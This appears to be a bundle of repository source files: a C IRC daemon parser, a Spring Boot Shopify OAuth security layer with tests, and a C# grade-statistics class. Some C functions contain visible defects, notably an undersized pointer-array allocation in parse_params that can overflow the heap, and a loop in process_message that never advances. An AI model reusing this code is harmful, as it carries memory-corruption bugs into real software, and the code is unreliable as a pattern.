if (!strcmp(str, cmd_converter[i].string))
return cmd_converter[i].cmd;
i++;
}
return (NOCOMMAND);
}
<file_sep>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include "message.h"
static char *concat_params(char **params)
{
int i;
int n;
int len;
char *str;
char *tmp;
if (!params || !*params)
return (NULL);
n = 0;
len = 0;
while (params[n])
len += 1 + strlen(params[n++]);
if (!(str = malloc(len + 2)))
return (NULL);
n = 0;
i = 0;
while (params[n])
{
str[i++] = ' ';
tmp = params[n];
if (!params[n + 1] && strchr(params[n], ' '))
str[i++] = ':';
while (*tmp)
str[i++] = *tmp++;
n++;
}
str[i] = 0;
return (str);
}
char *get_string_from_message(const t_message *msg)
{
char *str;
char *params;
int ok;
const char *command = command_to_string(msg->command);
if (!command || !(params = concat_params(msg->params)))
return (NULL);
if (msg->prefix)
ok = asprintf(&str, ":%s %s%s\r\n",
msg->prefix, command, (params ? params : ""));
else
ok = asprintf(&str, "%s%s\r\n",
command, (params ? params : ""));
free(params);
if (ok == -1)
return (NULL);
return (str);
}
<file_sep>
#include <stdlib.h>
#include <string.h>
#include "llist.h"
#include "buffer.h"
void buffer_clear(t_buffer *buf)
{
t_stringlist *next;
while (buf->list)
{
next = buf->list->next;
free(buf->list->data);
free(buf->list);
buf->list = next;
}
buf->size = 0;
}
int buffer_append(t_buffer *buf, char *s)
{
char *ap;
if (!s)
return (0);
if (!(ap = strdup(s)) ||
llist_add((t_llist **)(&buf->list), (void *)s))
return (1);
buf->size += strlen(s);
return (0);
}
char *buffer_to_string(t_buffer *buf)
{
int i;
int len;
char *s;
t_stringlist *it;
if (!buf->size || !(s = malloc(buf->size + 1)))
return (NULL);
i = 0;
it = buf->list;
while (it)
{
len = strlen((char *)it->data);
strncpy(s + i, (char *)it->data, len);
i += len + 1;
it = it->next;
}
s[i] = 0;
return (s);
}
<file_sep>
#include <string.h>
#include <stdlib.h>
#include "message.h"
static inline int prefix_valid(char c)
{
if (strchr(VALID_SPECIAL, c)
|| (c <= 'z' && c >= 'a')
|| (c <= 'Z' && c >= 'A')
|| (c <= '9' && c >= '0'))
return (1);
return (0);
}
int parse_prefix(t_message *msg, char **str)
{
char *s;
s = *str;
if (*s != ':')
return (0);
(*str)++;
s++;
while (prefix_valid(*s))
s++;
if (*s != ' ')
return 1;
msg->prefix = strndup(*str, s - *str);
*str = s + 1;
return 0;
}
<file_sep>
#ifndef BUFFER_H_
# define BUFFER_H_
# include "llist.h"
typedef t_llist t_stringlist;
typedef struct
{
unsigned size;
t_stringlist *list;
} t_buffer;
void buffer_clear(t_buffer *buf);
int buffer_append(t_buffer *buf, char *str);
char *buffer_to_string(t_buffer *buf);
#endif /* !BUFFER_H_ */
<file_sep>
#ifndef LLIST_H_
# define LLIST_H
typedef struct s_llist t_llist;
struct s_llist
{
void *data;
t_llist *next;
};
typedef int (*t_llist_cmp)(void *a, void *b);
int llist_add(t_llist **l, void *d);
int llist_delete(t_llist **l, void *d, t_llist_cmp cmp);
void *llist_find(t_llist **l, void *d, t_llist_cmp cmp);
#endif /* !LLIST_H */
<file_sep>
#ifndef PROTO_H_
# define PROTO_H_
# include "../proto/inc/message.h"
#endif /* !PROTO_H_ */
<file_sep>irc
===
irc daemon implementation
<file_sep>
#include <stdarg.h>
#include <stdlib.h>
#include "message.h"
t_message *new_message(t_command cmd, char *prefix, int np, ...)
{
t_message *msg;
va_list ap;
int i;
if (!(msg = malloc(sizeof(*msg)))
|| !(msg->params = malloc(sizeof(*(msg->params)) * (np + 1))))
return (NULL);
msg->command = cmd;
msg->prefix = prefix;
va_start(ap, np);
i = 0;
while (i < np)
msg->params[i++] = va_arg(ap, char *);
msg->params[i] = NULL;
va_end(ap);
return (msg);
}
<file_sep>
#include <stdlib.h>
#include <string.h>
#include "irc.h"
#include "proto.h"
#include "user.h"
int check_params(t_user *user, const t_message *msg)
{
if (!msg->params
|| !msg->params[0]
|| !msg->params[1]
|| !msg->params[2]
|| !msg->params[3])
{
push_message_to_user(user, new_message(ERR_NEEDMOREPARAMS, NULL, 2,
strdup("USER"),
strdup("Not enough parameters")));
return (1);
}
return (0);
}
static int check_register(t_user *user)
{
if (user->realname)
{
push_message_to_user(user, new_message(ERR_ALREADYREGISTRED, NULL, 1,
strdup("You may not reregister")));
return (1);
}
return (0);
}
int user(t_irc *irc, t_user *from, const t_message *msg)
{
(void)irc;
if (check_params(from, msg)
|| check_register(from))
return (1);
from->realname = strdup(msg->params[3]);
return (0);
}
<file_sep>
#include <stdlib.h>
#include <string.h>
#include "irc.h"
#include "proto.h"
static const t_command_caller caller[CMD_CALLER_SIZE] =
{
{OPER, &oper},
{USER, &user},
{NICK, &nick}
};
t_message *process_message(t_irc *irc, t_user *from, const t_message *msg)
{
unsigned i;
i = 0;
while (i < CMD_CALLER_SIZE)
if (caller[i].cmd == msg->command)
return caller[i].f(irc, from, msg);
return (NULL);
}
<file_sep>#ifndef LIBLLIST_H_
# define LIBLLIST_H_
# include "../llist/inc/llist.h"
#endif /* !LIBLLIST_H_ */
<file_sep>
#include <string.h>
#include <stdlib.h>
#include "message.h"
static inline int param_valid(char c)
{
if (strchr(INVALID_MIDDLE, c) || c == ':' || !c)
return (0);
return (1);
}
static int strcount(char *str, char c)
{
char *s;
int i;
s = str;
i = 0;
while ((s = strchr((s ? s : str), c)))
{
s++;
i++;
}
return (i);
}
static char *parse_param(char **str)
{
char *s;
char *ret;
s = *str;
if (!*s)
return (NULL);
while (param_valid(*s))
s++;
if (*s != ' ' && *s)
return (NULL);
if (!(ret = strndup(*str, s - *str)))
return (NULL);
if (*s == ' ')
s++;
*str = s;
return (ret);
}
static char *parse_last_param(char **str)
{
char *s;
char *ret;
s = *str;
if (!*s)
return (NULL);
if (*s != ':')
return (NULL);
(*str)++;
s++;
while (param_valid(*s) || *s == ' ')
s++;
if (*s)
return (NULL);
if (!(ret = strndup(*str, s - *str)))
return (NULL);
*str = s;
return (ret);
}
int parse_params(t_message *msg, char **str)
{
char *s;
char **p;
int n;
int i;
n = strcount(*str, ' ') + 1;
if (!(p = malloc(n + 1)))
return (1);
i = 0;
while ((s = parse_param(str)))
p[i++] = s;
if ((s = parse_last_param(str)))
p[i++] = s;
p[i] = NULL;
if (**str)
{
free(p);
return (1);
}
msg->params = p;
return (0);
}
<file_sep>
#include <string.h>
#include <stdlib.h>
#include "message.h"
static int parse_crlf(char **str)
{
int len;
char *s;
return (0);
s = *str;
len = strlen(s);
if (len && s[len - 1] != '\n')
return (1);
s[len - 1] = 0;
if (len > 1 && s[len - 2 ] == '\r')
s[len - 2] = 0;
return (0);
}
int parse_message(t_message *ret, const char *msg)
{
char *begin;
char *str;
if (!ret || !(str = strdup(msg)))
return (1);
begin = str;
if (parse_crlf(&str) ||
parse_prefix(ret, &str) ||
parse_command(ret, &str) ||
parse_params(ret, &str))
{
free(begin);
return (1);
}
free(begin);
return (0);
}
|
3512b949422ea7b0b29c9b6169a54f2dc2a93600
|
[
"Markdown",
"C",
"Makefile"
] | 36
|
C
|
Korrigan/irc
|
7390f8a72fbddb017130dd46c41eab2ea206952e
|
762fc94a5a966d9f8aba7253196bcf2281bffc0e
|
refs/heads/main
|
<repo_name>CGMDAW/Examen-3EV-JRGS-2106<file_sep>/ClassLibrary1/UnitTestProject1/UnitTest1_CGM2021.cs
using System.Collections.Generic;
using System;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Examen3EV_CGM2021;
namespace Examen3EV_CGM2021
{
[TestClass]
public class UnitTest1_CGM2021
{
[TestMethod]
public void CompruebaNotas_Fallido1()
{
List<int> notas = new List<int>();
notas.Add(0);
notas.Add(5);
notas.Add(9);
notas.Add(3);
notas.Add(7);
notas.Add(4);
notas.Add(8);
double mediaEsperada = 5.14;
int suspensosEsperados = 3;
int aprobadosEsperados = 1;
int notablesEsperados = 2;
int sobresalientesEsperados = 1;
try
{
estadisticaNotas_CGM2021 nuevaEstadistica = new estadisticaNotas_CGM2021();
double media = nuevaEstadistica.CalcularEstadistica_CGM2021(notas);
Assert.AreEqual(suspensosEsperados, nuevaEstadistica.Suspenso);
Assert.AreEqual(aprobadosEsperados, nuevaEstadistica.Aprobado);
Assert.AreEqual(notablesEsperados, nuevaEstadistica.Notable);
Assert.AreEqual(sobresalientesEsperados, nuevaEstadistica.Sobresaliente);
Assert.AreEqual(mediaEsperada, media);
}
catch (ArgumentOutOfRangeException ex)
{
StringAssert.Contains(ex.Message,estadisticaNotas_CGM2021.mensajeDeError);
}
}
[TestMethod]
public void CompruebaNotas_Corecto()
{
List<int> notas = new List<int>();
notas.Add(0);
notas.Add(1);
notas.Add(1);
notas.Add(1);
notas.Add(5);
notas.Add(5);
notas.Add(8);
notas.Add(8);
notas.Add(10);
notas.Add(10);
double mediaEsperada = 4.9;
int suspensosEsperados = 4;
int aprobadosEsperados = 2;
int notablesEsperados = 2;
int sobresalientesEsperados = 2;
try
{
estadisticaNotas_CGM2021 nuevaEstadistica = new estadisticaNotas_CGM2021();
double media = nuevaEstadistica.CalcularEstadistica_CGM2021(notas);
Assert.AreEqual(suspensosEsperados, nuevaEstadistica.Suspenso);
Assert.AreEqual(aprobadosEsperados, nuevaEstadistica.Aprobado);
Assert.AreEqual(notablesEsperados, nuevaEstadistica.Notable);
Assert.AreEqual(sobresalientesEsperados, nuevaEstadistica.Sobresaliente);
Assert.AreEqual(mediaEsperada, media);
}
catch (Exception ex)
{
Console.WriteLine(ex.Message);
}
}
}
}
<file_sep>/ClassLibrary1/ClassLibrary1/Examen3EV_CGM2021.cs
using System;
using System.Collections.Generic;
namespace Examen3EV_CGM2021
{
/// <summary>
/// Clase principal <see cref="estadisticaNotas_CGM2021" />.
/// </summary>
/// <para>Calcula la estadística de un conjunto de notas</para>
public class estadisticaNotas_CGM2021 // esta clase nos calcula las estadísticas de un conjunto de notas
{
/// <summary>
/// Suma total de suspensos.
/// </summary>
private int suspenso;// Suspensos
/// <summary>
/// Suma total de aprobados.
/// </summary>
private int aprobado;// Aprobados
/// <summary>
/// Suma total de notables.
/// </summary>
private int notable;// Notables
/// <summary>
/// Suma total de sobresalientes.
/// </summary>
private int sobresaliente;// Sobresalientes
/// <summary>
/// Almacena la nota media.
/// </summary>
private double notaMedia;// Nota media
/// <summary>
/// Establece un mensaje de error que lanza en las excepciones.
/// </summary>
public const string mensajeDeError = "El índice estaba fuera del intervalo. Debe ser un valor no negativo e inferior al tamaño de la colección";
/// <summary>
/// Obtiene el valor total de suspensos.
/// </summary>
public int Suspenso {
get => suspenso;
set => suspenso = value;
}
/// <summary>
/// Obtiene el valor total de aprobados.
/// </summary>
public int Aprobado {
get => aprobado;
set => aprobado = value;
}
/// <summary>
/// Obtiene el valor total de notables.
/// </summary>
public int Notable {
get => notable;
set => notable = value;
}
/// <summary>
/// Obtiene el valor total de sobresalientes.
/// </summary>
public int Sobresaliente {
get => sobresaliente;
set => sobresaliente = value;
}
/// <summary>
/// Obtiene la nota media.
/// </summary>
public double NotaMedia {
get => notaMedia;
set => notaMedia = value;
}
/// <summary>
/// Constructor por defecto que inicializa un nuevo objeto <see cref="estadisticaNotas_CGM2021"/> class.
/// </summary>
public estadisticaNotas_CGM2021()
{
this.suspenso = 0;
this.aprobado = 0;
this.notable = 0;
this.sobresaliente = 0;
this.notaMedia = 0.0; // aun que siendo decimal puedo inicializarla a 0, pero prefiero dejarlo como 0.0
}
/// <summary>
/// Constructor sobrecargado que inicializa un objeto <see cref="estadisticaNotas_CGM2021"/> class.
/// </summary>
/// <param name="listaNotas">The listaNotas<see cref="List{int}"/>.</param>
public estadisticaNotas_CGM2021(List<int> listaNotas)
{
CalcularEstadistica_CGM2021(listaNotas);
}
/// <summary>
/// TFunción que calcula la estadística.
/// </summary>
/// <param name="listaNotas">parámetro de entrada listaNotas de tipo <see cref="List{int}"/>.</param>
/// <returns>Devuelve un <see cref="double"/> que contiene la nota media.</returns>
public double CalcularEstadistica_CGM2021(List<int> listaNotas)
{
NotaMedia = 0.0;
// TODO: hay que modificar el tratamiento de errores para generar excepciones
//
if (listaNotas.Count <= 0)
{ // Si la lista no contiene elementos, devolvemos un error
throw new ArgumentOutOfRangeException(mensajeDeError);
}
for (int i = 0; i < 10; i++)
{
if (listaNotas[i] < 0 || listaNotas[i] > 10)
{
throw new ArgumentOutOfRangeException(mensajeDeError); // comprobamos que las not están entre 0 y 10 (mínimo y máximo), si no, error
}
}
for (int i = 0; i < listaNotas.Count; i++)
{
if (listaNotas[i] < 5)
{
Suspenso++; // Por debajo de 5 suspenso
}
else if (listaNotas[i] >= 5 && listaNotas[i] < 7)
{
Aprobado++;// Nota para aprobar: 5
}
else if (listaNotas[i] >= 7 && listaNotas[i] < 9)
{
Notable++;// Nota para notable: 7
}
else if (listaNotas[i] > 9)
{
Sobresaliente++; // Nota para sobresaliente: 9
}
NotaMedia = NotaMedia + listaNotas[i];
}
NotaMedia = NotaMedia / listaNotas.Count;
return NotaMedia;
}
}
}
|
ab244d521044d3d30885e15337b972c6d8008904
|
[
"C#"
] | 2
|
C#
|
CGMDAW/Examen-3EV-JRGS-2106
|
4182dbe0f1dac5625088bf92467a011554041fed
|
d18245ee5151d2728c5f01d746b69c6a2c7b5338
|
refs/heads/master
|
<file_sep>package com.lm.controller;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import com.lm.security.configuration.SecurityBeansConfig;
import com.lm.security.configuration.SecurityConfig;
@Controller
public class HomeController {
/*
* This controller can be reached via different scenarios:
*
* 1. Authenticated: Shopify made the request and the store had already installed the app (embedded app scenario)
* 2. Anonymous:
* - Shopify made the request but it's the store's first time
* - the request did not come from Shopify but a store param was included (let Shopify log the user in)
* - User makes a request (not as an embedded app) without providing a store param (a redirect is performed)
*
*/
@RequestMapping(path = SecurityConfig.INSTALL_PATH + "/" + SecurityBeansConfig.SHOPIFY_REGISTRATION_ID, method = RequestMethod.GET)
public String installAndHome() {
return "home";
}
/*
* Redirect to /install/shopify
*/
@RequestMapping(path = SecurityConfig.INSTALL_PATH , method = RequestMethod.GET)
public String installRedirect() {
return "redirect:" + SecurityConfig.INSTALL_PATH + "/" + SecurityBeansConfig.SHOPIFY_REGISTRATION_ID;
}
/*
* Called when a store parameter was not given to ANY_INSTALL_PATH
*
*/
@RequestMapping(path = SecurityConfig.LOGIN_ENDPOINT, method = RequestMethod.GET)
public String selectStore() {
return "selectStore";
}
/*
* Only to be called during the OAuth flow
*
*/
@RequestMapping(path = SecurityConfig.ANY_AUTHORIZATION_REDIRECT_PATH, method = RequestMethod.GET)
public String installationSuccess() {
return "success";
}
/*
* To be called when an error occurs during authentication
*
*/
@RequestMapping(path = SecurityConfig.AUTHENTICATION_FALURE_URL, method = RequestMethod.GET)
public String authError() {
return "authError";
}
}
<file_sep>debug=true
spring.datasource.platform=hsqldb
spring.main.allow-bean-definition-overriding=true
logging.level.org.springframework.security=DEBUG
logging.level.org.thymeleaf=DEBUG
spring.session.store-type=none
lm.security.cipher.password=<PASSWORD>
lm.security.cipher.salt=<PASSWORD>
shopify.client.client_id=d1e039ea3ff92912c25c9035694a15b2
shopify.client.client_secret=<KEY>
shopify.client.scope=read_inventory,write_inventory,read_products,write_products<file_sep>package com.lm.security.web;
import java.util.ArrayList;
import java.util.List;
import javax.servlet.http.HttpServletRequest;
import org.springframework.security.oauth2.core.endpoint.OAuth2AuthorizationRequest;
import org.springframework.security.oauth2.core.endpoint.OAuth2ParameterNames;
import org.springframework.security.web.DefaultRedirectStrategy;
import org.springframework.util.LinkedMultiValueMap;
import org.springframework.web.util.UriComponentsBuilder;
/*
* Decorates the default DefaultRedirectStrategy, and is invoked by ShopifyOAuth2AuthorizationRequestResolver.
*
* Instead of redirecting, it saves 2 authorization redirection URIs as request attributes. This allows for
* "redirecting" from an iFrame in an embedded app setting.
*/
public class ShopifyRedirectStrategy extends DefaultRedirectStrategy {
public final String I_FRAME_REDIRECT_URI = "/oauth/authorize";
private final String STATE = OAuth2ParameterNames.STATE;
private final String SCOPE = OAuth2ParameterNames.SCOPE;
private final String REDIRECT_URI = OAuth2ParameterNames.REDIRECT_URI;
private final String CLIENT_ID = OAuth2ParameterNames.CLIENT_ID;
private final String I_FRAME_AUTHENTICATION_URI_KEY = "I_FRAME_AUTHENTICATION_URI";
private final String PARENT_AUTHENTICATION_URI_KEY = "PARENT_AUTHENTICATION_URI";
public void saveRedirectAuthenticationUris(HttpServletRequest request, OAuth2AuthorizationRequest authorizationRequest) {
// "template" already properly filled in with shop name
String authorizationUri = authorizationRequest.getAuthorizationUri();
String parentFrameRedirectUrl = super.calculateRedirectUrl(request.getContextPath(), authorizationUri);
request.setAttribute(I_FRAME_AUTHENTICATION_URI_KEY, addRedirectParams(I_FRAME_REDIRECT_URI, authorizationRequest));
request.setAttribute(PARENT_AUTHENTICATION_URI_KEY, addRedirectParams(parentFrameRedirectUrl, authorizationRequest));
}
/*
* Adds the following query parameters to the string:
*
* 1. client_id
* 2. redirect_uri
* 3. scope
* 4. state
*/
private String addRedirectParams(String uri, OAuth2AuthorizationRequest authorizationRequest) {
LinkedMultiValueMap<String, String> queryParams = new LinkedMultiValueMap<>();
queryParams.add(CLIENT_ID, authorizationRequest.getClientId());
queryParams.add(REDIRECT_URI, authorizationRequest.getRedirectUri());
queryParams.add(SCOPE, concatenateListIntoCommaString(new ArrayList<>(authorizationRequest.getScopes())));
queryParams.add(STATE, authorizationRequest.getState());
String re = UriComponentsBuilder
.fromUriString(uri)
.queryParams(queryParams)
.build()
.toString();
return re;
}
public static String concatenateListIntoCommaString(List<String> pieces) {
StringBuilder builder = new StringBuilder();
if(pieces == null || pieces.size() < 1) {
throw new RuntimeException("The provided List must contain at least one element");
}
pieces.stream()
.forEach(e -> {
builder.append(e);
builder.append(",");
});
return builder.substring(0, builder.length() - 1);
}
}
<file_sep>package com.lm.security.oauth2.integration.config;
import org.springframework.mock.web.MockHttpServletRequest;
import org.springframework.test.web.servlet.request.RequestPostProcessor;
/*
* This post processor sets the scheme of the MockHttpServletRequest to "https".
*/
public class HttpsRequestPostProcessor implements RequestPostProcessor {
@Override
public MockHttpServletRequest postProcessRequest(MockHttpServletRequest request) {
request.setScheme("https");
request.setServerPort(443);
return request;
}
}
<file_sep>package com.lm.security.web;
import java.io.IOException;
import javax.servlet.RequestDispatcher;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import org.springframework.security.core.Authentication;
import org.springframework.security.web.authentication.AuthenticationSuccessHandler;
import org.springframework.security.web.authentication.SavedRequestAwareAuthenticationSuccessHandler;
import com.lm.security.configuration.SecurityConfig;
/*
* The NoRedirectSuccessHandler is invoked by OAuth2LoginAuthenticationFilter upon successful authentication.
*
* This success handler decorates the default SavedRequestAwareAuthenticationSuccessHandler
* so that it will perform as intended, but without the redirect support (we can't redirect in an embedded app).
* Thus, the DefaultRedirectStrategy is replaced with an empty implementation.
*
* Afterwards, however, it will forward to the the "authentication url" resource.
* By default, the Spring Security filter chain will not be triggered for the forward.
*
*/
public class NoRedirectSuccessHandler implements AuthenticationSuccessHandler {
private SavedRequestAwareAuthenticationSuccessHandler defaultHandler;
public NoRedirectSuccessHandler() {
this.defaultHandler = new SavedRequestAwareAuthenticationSuccessHandler();
this.defaultHandler.setRedirectStrategy((i,j,k) -> { });
}
@Override
public void onAuthenticationSuccess(HttpServletRequest request, HttpServletResponse response,
Authentication authentication) throws IOException, ServletException {
defaultHandler.onAuthenticationSuccess(request, response, authentication);
RequestDispatcher rs = request.getRequestDispatcher(SecurityConfig.AUTHORIZATION_REDIRECT_PATH);
rs.forward(request, response);
}
}
<file_sep>package com.lm.security.authentication;
/*
* This class holds a password loaded from a properties file for subsequent dynamic encryptor creation.
*/
public class CipherPassword {
private final String password;
public CipherPassword(String password) {
this.password = password;
}
public String getPassword() {
return this.password;
}
}
<file_sep>package com.lm.security.repository;
public class EncryptedTokenAndSalt {
private final String encryptedToken;
private final String salt;
public EncryptedTokenAndSalt(String encyptedToken, String salt) {
this.encryptedToken = encyptedToken;
this.salt = salt;
}
public String getEncryptedToken() {
return this.encryptedToken;
}
public String getSalt() {
return this.salt;
}
}
<file_sep>package com.lm.security.oauth2.integration;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.not;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.handler;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.mockito.Mockito.doReturn;
import static org.mockito.ArgumentMatchers.any;
import org.junit.Assert;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.AutoConfigureMockMvc;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.jdbc.core.JdbcTemplate;
import org.springframework.security.core.context.SecurityContext;
import org.springframework.security.crypto.encrypt.Encryptors;
import org.springframework.security.crypto.encrypt.TextEncryptor;
import org.springframework.security.crypto.keygen.KeyGenerators;
import org.springframework.security.oauth2.client.authentication.OAuth2AuthenticationToken;
import org.springframework.security.web.context.HttpSessionSecurityContextRepository;
import org.springframework.test.context.TestPropertySource;
import org.springframework.test.context.junit4.SpringJUnit4ClassRunner;
import org.springframework.test.web.servlet.MockMvc;
import org.springframework.test.web.servlet.MvcResult;
import com.lm.ShopifyEmbeddedAppSpringBootApplication;
import com.lm.security.authentication.CipherPassword;
import com.lm.security.authentication.ShopifyVerificationStrategy;
import com.lm.security.configuration.SecurityConfig;
import com.lm.security.oauth2.integration.config.HttpsRequestPostProcessor;
import com.lm.security.oauth2.integration.config.TestConfig;
/*
* Test the first "step" in obtaining the access token:
* Calling the install path in various situations:
*
* 1. Shopify request, store exists
* 2. Not from Shopify, store exists
* 3. Shopify request, store doesn't exist
* 4. Not from Shopify, store doesn't exist
*
* 5. No valid shop parameter
*
* Test preconditions:
*
* 1. A test store is in the database.
* 2. NullShopifyVerificationService (mock)
*/
@RunWith(SpringJUnit4ClassRunner.class)
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT, classes= {ShopifyEmbeddedAppSpringBootApplication.class, TestConfig.class})
@AutoConfigureMockMvc
@TestPropertySource(locations="classpath:test-application.properties")
public class Step1_AuthorizationRequest {
@Autowired
private MockMvc mockMvc;
@Autowired
private JdbcTemplate jdbc;
@Autowired
private CipherPassword cipherPassword;
@MockBean
private ShopifyVerificationStrategy strategyMock;
private HttpsRequestPostProcessor httpsPostProcessor = new HttpsRequestPostProcessor();
private static final String INSTALL_PATH = SecurityConfig.INSTALL_PATH + "/shopify";
@Before
public void initializeValue() {
String sampleSalt = KeyGenerators.string().generateKey();
TextEncryptor encryptor = Encryptors.queryableText(cipherPassword.getPassword(), sampleSalt);
jdbc.update("UPDATE STOREACCESSTOKENS SET access_token=?, salt=? WHERE shop='lmdev.myshopify.com'", encryptor.encrypt("sample"), sampleSalt);
}
/*
* We assume the request came from Shopify, so pertinent parameters are not checked.
*
* Given: valid shop parameter in "installPath"
* Expect:
* 1. the user is successfully authenticated
* 2. redirect uris are not printed
* 3. the user has been successfully authenticated with a OAuth2AuthenticationToken
*
*/
@Test
public void whenStoreExistsAndRequestFromShopify_thenAuthenticateAndShowFirstPage() throws Exception {
doReturn(true).when(strategyMock).isShopifyRequest(any());
doReturn(true).when(strategyMock).hasValidNonce(any());
MvcResult result = this.mockMvc.perform(get(INSTALL_PATH + "?shop=lmdev.myshopify.com×tamp=dsd&hmac=sdfasrf4324").secure(true).with(httpsPostProcessor))
.andExpect(status().is2xxSuccessful())
.andExpect(handler().methodName("installAndHome"))
.andExpect(content().string(not(containsString("var redirectFromParentPath = 'https://newstoretest.myshopify.com/admin/oauth/authorize?client_id=testId&redirect_uri=https://localhost/login/app/oauth2/code/shopify&scope=read_inventory,write_inventory,read_products,write_products&state="))))
.andExpect(content().string(not(containsString("var redirectFromIFramePath = '/oauth/authorize?client_id=testId&redirect_uri=https://localhost/login/app/oauth2/code/shopify&scope=read_inventory,write_inventory,read_products,write_products&state="))))
.andReturn();
Object authentication = result.getRequest().getSession().getAttribute(HttpSessionSecurityContextRepository.SPRING_SECURITY_CONTEXT_KEY);
Assert.assertTrue(((SecurityContext)authentication).getAuthentication().getClass().isAssignableFrom(OAuth2AuthenticationToken.class));
}
/*
* The request doesn't come from Shopify...
*
* Given: valid shop parameter in "installPath"
* Expect:
* 1. redirect uris are printed
* 2. the user was not authenticated (Anonymous)
*
*/
@Test
public void whenStoreExistsAndRequestNotFromShopify_thenShowFirstPage() throws Exception {
MvcResult result = this.mockMvc.perform(get(INSTALL_PATH + "?shop=lmdev.myshopify.com×tamp=dsd&hmac=sdfasrf4324").secure(true).with(httpsPostProcessor))
.andExpect(status().is2xxSuccessful())
.andExpect(handler().methodName("installAndHome"))
.andExpect(content().string(containsString("var redirectFromParentPath = 'https://lmdev.myshopify.com/admin/oauth/authorize?client_id=testId&redirect_uri=https://localhost/login/app/oauth2/code/shopify&scope=read_inventory,write_inventory,read_products,write_products&state=")))
.andExpect(content().string(containsString("var redirectFromIFramePath = '/oauth/authorize?client_id=testId&redirect_uri=https://localhost/login/app/oauth2/code/shopify&scope=read_inventory,write_inventory,read_products,write_products&state=")))
.andReturn();
Object authentication = result.getRequest().getSession().getAttribute(HttpSessionSecurityContextRepository.SPRING_SECURITY_CONTEXT_KEY);
// The AnonymousAuthenticationToken is not stored in the session
// See HttpSessionSecurityContextRepository
Assert.assertNull(authentication);
}
/*
* We assume the request came from Shopify, so pertinent parameters are not checked.
*
* Given: valid shop parameter for new store
* Expect:
* 1. redirect uris are printed
* 2. user not authenticated
*
*/
@Test
public void whenStoreDoesNotExistAndRequestFromShopify_thenRedirectToShopify() throws Exception {
doReturn(true).when(strategyMock).isShopifyRequest(any());
doReturn(true).when(strategyMock).hasValidNonce(any());
doReturn(true).when(strategyMock).isHeaderShopifyRequest(any(), any());
MvcResult result = this.mockMvc.perform(get(INSTALL_PATH + "?shop=newstoretest.myshopify.com×tamp=dsd&hmac=sdfasrf4324").secure(true).with(httpsPostProcessor))
.andExpect(content().string(containsString("var redirectFromParentPath = 'https://newstoretest.myshopify.com/admin/oauth/authorize?client_id=testId&redirect_uri=https://localhost/login/app/oauth2/code/shopify&scope=read_inventory,write_inventory,read_products,write_products&state=")))
.andExpect(content().string(containsString("var redirectFromIFramePath = '/oauth/authorize?client_id=testId&redirect_uri=https://localhost/login/app/oauth2/code/shopify&scope=read_inventory,write_inventory,read_products,write_products&state=")))
.andReturn();
Object authentication = result.getRequest().getSession().getAttribute(HttpSessionSecurityContextRepository.SPRING_SECURITY_CONTEXT_KEY);
/* The ShopifyOriginToken is removed...
* ...and AnonymousAuthenticationToken is not stored in the session
* See HttpSessionSecurityContextRepository
*/
Assert.assertNull(authentication);
}
/*
* The request doesn't come from Shopify...
*
* Given: valid shop parameter for new store
* Expect:
* 1. redirect uris are printed
*
*/
@Test
public void whenStoreDoesNotExistAndRequestNotFromShopify_thenRedirectToShopify() throws Exception {
MvcResult result = this.mockMvc.perform(get(INSTALL_PATH + "?shop=newstoretest.myshopify.com×tamp=dsd&hmac=sdfasrf4324").secure(true).with(httpsPostProcessor))
.andExpect(content().string(containsString("var redirectFromParentPath = 'https://newstoretest.myshopify.com/admin/oauth/authorize?client_id=testId&redirect_uri=https://localhost/login/app/oauth2/code/shopify&scope=read_inventory,write_inventory,read_products,write_products&state=")))
.andExpect(content().string(containsString("var redirectFromIFramePath = '/oauth/authorize?client_id=testId&redirect_uri=https://localhost/login/app/oauth2/code/shopify&scope=read_inventory,write_inventory,read_products,write_products&state=")))
.andReturn();
Object authentication = result.getRequest().getSession().getAttribute(HttpSessionSecurityContextRepository.SPRING_SECURITY_CONTEXT_KEY);
// The AnonymousAuthenticationToken is not stored in the session
// See HttpSessionSecurityContextRepository
Assert.assertNull(authentication);
}
/*
* The request doesn't have a valid shop parameter...
*
* Expect:
* 1. redirect
*
*/
@Test
public void whenNoValidShopParam_thenRedirect() throws Exception {
this.mockMvc.perform(get(INSTALL_PATH + "?timestamp=dsd&hmac=sdfasrf4324").secure(true).with(httpsPostProcessor))
.andExpect(status().is3xxRedirection())
.andReturn();
}
}<file_sep>package com.lm.security.oauth2.integration.config;
import static org.mockito.Mockito.mock;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import org.springframework.context.annotation.Primary;
import org.springframework.security.oauth2.client.endpoint.OAuth2AccessTokenResponseClient;
import org.springframework.security.oauth2.client.endpoint.OAuth2AuthorizationCodeGrantRequest;
import org.springframework.security.oauth2.client.registration.ClientRegistration;
import org.springframework.security.oauth2.client.registration.ClientRegistrationRepository;
import org.springframework.security.oauth2.client.registration.InMemoryClientRegistrationRepository;
import org.springframework.security.oauth2.core.AuthorizationGrantType;
import org.springframework.security.oauth2.core.ClientAuthenticationMethod;
import org.springframework.security.oauth2.core.endpoint.OAuth2AccessTokenResponse;
@Configuration
public class TestConfig {
@Bean
@Primary
public OAuth2AccessTokenResponseClient<OAuth2AuthorizationCodeGrantRequest> accessTokenResponseClient() {
return mock(TestAuthorizationCodeTokenResponseClient.class);
}
@Bean
@Primary
public ClientRegistrationRepository clientRegistrationRepository() {
return new InMemoryClientRegistrationRepository(this.shopifyClientRegistration());
}
private ClientRegistration shopifyClientRegistration() {
return ClientRegistration.withRegistrationId("shopify")
.clientId("testId")
.clientSecret("testSecret")
.clientAuthenticationMethod(ClientAuthenticationMethod.POST)
